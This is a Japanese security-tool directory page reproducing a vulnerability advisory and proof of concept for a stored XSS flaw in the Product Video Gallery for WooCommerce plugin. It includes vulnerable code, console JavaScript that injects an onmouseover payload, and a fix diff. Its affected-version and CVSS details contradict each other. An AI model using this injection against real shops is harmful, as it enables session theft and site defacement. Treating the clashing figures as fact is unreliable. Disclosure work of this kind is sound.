Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-10104-POC — Product Video Gallery for Woocommerce <= 1.5.1.8 - 認証済み保存型クロスサイトスクリプティングの概念実証 | Kitploit
ツール/GitHubGitHub/ravi-lk/cve-2026-10104-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubravi-lk/cve-2026-10104-poc

CVE-2026-10104-POC

Product Video Gallery for Woocommerce <= 1.5.1.8 - 認証済み保存型クロスサイトスクリプティングの概念実証

リポジトリを見る
2603ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-10104: 保存型クロスサイトスクリプティング - Product Video Gallery for WooCommerce

概要

詳細値
CVE IDCVE-2026-10104
プラグインProduct Video Gallery for WooCommerce
ベンダーTechnoSoft Webs (NikHiL Gadhiya)
タイプ保存型クロスサイトスクリプティング (XSS)
CWECWE-79 — Webページ生成時の入力の中和不備
CVSS 3.14.4 (Medium)
影響を受けるバージョン≤ 1.5.1.6
修正バージョン1.5.1.9
認証必須はい — 投稿者以上 (商品を編集できるロール)
発見者Ravindu Lakmina Munaweera

説明

WordPress用プラグイン Product Video Gallery for WooCommerce (バージョン 1.5.1.6 以下) は、custom_thumbnail 商品メタパラメータを介して 保存型クロスサイトスクリプティング (XSS) の脆弱性があります。

このプラグインの save_wc_video_url_field() メソッドは、custom_thumbnail[] POSTパラメータを sanitize_text_field() でサニタイズします。これによりHTMLタグは除去されますが、ダブルクォート (") 文字は除去されません。フロントエンドでは、nickx_get_video_thumbanil_html() 内で、保存された値が esc_attr() によるエスケープなしに `` タグの属性に直接挿入されます。これにより、認証された攻撃者が任意のHTMLイベントハンドラ属性 (例: onmouseover, onerror) を注入でき、影響を受ける商品ページを閲覧する すべての訪問者 (認証されていないユーザーを含む) のブラウザでJavaScriptが実行されます。


CVSS 3.1 ベクター

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
メトリクス値
攻撃元区分ネットワーク
攻撃複雑性低
必要な特権レベル低
ユーザー操作不要
影響範囲変更あり
機密性への影響低
完全性への影響低
可用性への影響なし

影響を受けるコード

シンク (出力 — エスケープなし)

ファイル: public/class-rendering.php
メソッド: nickx_get_video_thumbanil_html()

// 行365 — esc_attr()なしで値が挿入される
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// 行379 — 公開フロントエンドの  タグ内でレンダリング
echo '';

ソース (保存 — 不十分なサニタイズ)

ファイル: admin/class-video-field.php
メソッド: save_wc_video_url_field()

// 行309-310 — sanitize_text_field() はタグを除去するが、ダブルクォートは除去しない
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}

概念実証

前提条件

  • WordPress + WooCommerce がインストールされていること
  • プラグイン: Product Video Gallery for WooCommerce ≤ 1.5.1.6
  • YouTube動画URLが設定されたWooCommerce商品があること
  • 商品編集権限を持つアカウント (ショップマネージャー、投稿者など)

再現手順

  1. ショップマネージャー (攻撃者) としてログインします。

  2. 商品 → 編集 に移動し、「商品ビデオURL」フィールドに動画URLが設定されている商品を選びます。

  3. ブラウザの開発者ツール (F12) → コンソール タブを開きます。

  4. 以下のJavaScriptを貼り付けて実行します。

const form = document.getElementById('post');

// サムネイルIDを空でない値に設定 (レンダリング条件で必要)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// custom_thumbnail を介してXSSペイロードを注入
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
  1. 「更新」 をクリックして商品を保存します。

  2. フロントエンドで商品ページを シークレット/プライベートウィンドウ (非認証) で開きます。

  3. 商品ギャラリー内のビデオサムネイルに カーソルを合わせます。

  4. ✅ JavaScriptアラートが実行され、保存型XSSが確認されます。

image image

レンダリングされた出力

注入された " が custom_thumbnail 属性を閉じ、onmouseover が `` 要素上で新たな実行可能な属性となります。


影響

  • 保存型XSS が 公開フロントエンド で全ての訪問者 (非認証ユーザーを含む) に対して実行される
  • 攻撃者はセッションCookieを盗み、管理者アカウントを乗っ取ることができる
  • 攻撃者は顧客をフィッシングサイトやマルウェア配布サイトにリダイレクトできる
  • 攻撃者は商品ページを改ざんしたり、クリプトマイナーを注入できる
  • 悪用には 投稿者レベル のアクセス権限のみが必要

修正方法

カスタムサムネイルの値をHTML属性に挿入する前に esc_attr() を適用します:

- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';

この修正は、nickx_get_video_thumbanil_html() 内で $custom_thumbnail が構築されるすべての箇所 (配列および非配列のコードパスの両方) に適用する必要があります。


開示タイムライン

日付イベント
2026-03-20脆弱性を発見
2026-03-20Wordfence (CNA) に報告
2026-05-29CVE ID採番: CVE-2026-10104
2026-07-01公開開示

クレジット

  • 発見者: Ravindu Lakmina Munaweera
  • CVE割り当て機関: Wordfence (CNA)
  • CVE ORG

参考文献

  • CVE-2026-10104
  • WordPress Plugin Page
  • Wordfence Vulnerability Database Entry
  • CWE-79: Cross-site Scripting
  • OWASP XSS Prevention Cheat Sheet

ライセンス

このアドバイザリは CC BY 4.0 の下で公開されています。

ツールをダウンロード